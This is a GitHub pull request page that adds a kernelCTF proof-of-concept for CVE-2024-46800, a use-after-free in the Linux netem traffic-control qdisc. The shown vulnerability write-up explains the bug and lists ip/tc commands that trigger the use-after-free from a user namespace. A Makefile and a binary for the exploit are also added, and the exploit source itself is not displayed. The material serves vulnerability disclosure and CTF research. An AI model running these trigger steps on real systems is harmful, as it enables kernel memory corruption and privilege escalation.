-
Notifications
You must be signed in to change notification settings - Fork 537
Add kernelCTF CVE-2024-46800_lts_cos_mitigation #290
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Open
hexfoureight
wants to merge
10
commits into
google:master
Choose a base branch
from
hexfoureight:CVE-2024-46800_lts_cos_mitigation
base: master
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
Open
Changes from all commits
Commits
Show all changes
10 commits
Select commit
Hold shift + click to select a range
02422b2
Add kernelCTF CVE-2024-46800_lts_cos_mitigation
hexfoureight e518b8d
Update Makefiles
hexfoureight 229a497
Correct LTS directory name
hexfoureight 203da81
Update exploit.c
hexfoureight 6fc4722
Fix structure_check
hexfoureight 56414a6
Fix structure_check
hexfoureight b38d2e7
Fix metadata
hexfoureight 37c07c5
Fix cos version
hexfoureight c8d1e5a
Make requested changes
hexfoureight 07f8c97
Simplify trigger_vuln()
hexfoureight File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
303 changes: 303 additions & 0 deletions
303
pocs/linux/kernelctf/CVE-2024-46800_lts_cos_mitigation/docs/exploit.md
Large diffs are not rendered by default.
Oops, something went wrong.
3 changes: 3 additions & 0 deletions
3
pocs/linux/kernelctf/CVE-2024-46800_lts_cos_mitigation/docs/hierarchy.svg
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
3 changes: 3 additions & 0 deletions
3
pocs/linux/kernelctf/CVE-2024-46800_lts_cos_mitigation/docs/paths.svg
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
22 changes: 22 additions & 0 deletions
22
pocs/linux/kernelctf/CVE-2024-46800_lts_cos_mitigation/docs/vulnerability.md
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,22 @@ | ||
| A vulnerability in the traffic control subsystem's netem qdisc (`CONFIG_NET_SCH_NETEM ` in the kernel config) can lead to a use-after-free. If a netem qdisc has a child qdisc, `netem_dequeue()` will attempt to enqueue a packet to it (for every other qdisc type this happens during enqueue; netem does it this way to allow a per packet delay). If this `qdisc_enqueue()` call returns`__NETEM_XMIT_STOLEN`, the packet will be dropped but the parent qdisc's `q.qlen` will not be updated. Then `qlen_notify()` may be skipped on the parent during destruction, leaving a dangling pointer for some classful qdiscs like DRR. | ||
|
|
||
| The bug was introduced by `50612537e9ab ("netem: fix classful handling")` and fixed by `3b3a2a9c6349 ("sch/netem: fix use after free in netem_dequeue ")`. It affected kernel versions `3.3-6.11`. | ||
|
|
||
| The vulnerability requires `CAP_NET_ADMIN` and can therefore only be exploited for privilege escalation from a user namespace. The following commands will trigger it and cause a use-after-free: | ||
|
|
||
| ``` | ||
| ip link add type dummy | ||
| ip link set lo up | ||
| ip link set dummy0 up | ||
| tc qdisc add dev lo parent root handle 1: drr | ||
| tc filter add dev lo parent 1: basic classid 1:1 | ||
| tc class add dev lo classid 1:1 drr | ||
| tc qdisc add dev lo parent 1:1 handle 2: netem | ||
| tc qdisc add dev lo parent 2: handle 3: drr | ||
| tc filter add dev lo parent 3: basic classid 3:1 action mirred egress redirect dev dummy0 | ||
| tc class add dev lo classid 3:1 drr | ||
| ping -c1 -W0.01 localhost # Trigger bug | ||
| tc class del dev lo classid 1:1 | ||
| tc class add dev lo classid 1:1 drr | ||
| ping -c1 -W0.01 localhost # UaF | ||
| ``` | ||
7 changes: 7 additions & 0 deletions
7
pocs/linux/kernelctf/CVE-2024-46800_lts_cos_mitigation/exploit/cos-109-17800.309.7/Makefile
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,7 @@ | ||
| CFLAGS = -Wno-incompatible-pointer-types -Wno-format -static -D COS | ||
|
|
||
| exploit: exploit.c | ||
| gcc $(CFLAGS) -o $@ $< | ||
|
|
||
| run: | ||
| ./exploit |
Binary file added
BIN
+777 KB
pocs/linux/kernelctf/CVE-2024-46800_lts_cos_mitigation/exploit/cos-109-17800.309.7/exploit
Binary file not shown.
Oops, something went wrong.
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Uh oh!
There was an error while loading. Please reload this page.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Please add information on capabilities needed (if any?) to trigger the vulnerability. Do you use user namespaces?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I've updated vulnerability.md to specify that user namespaces are needed.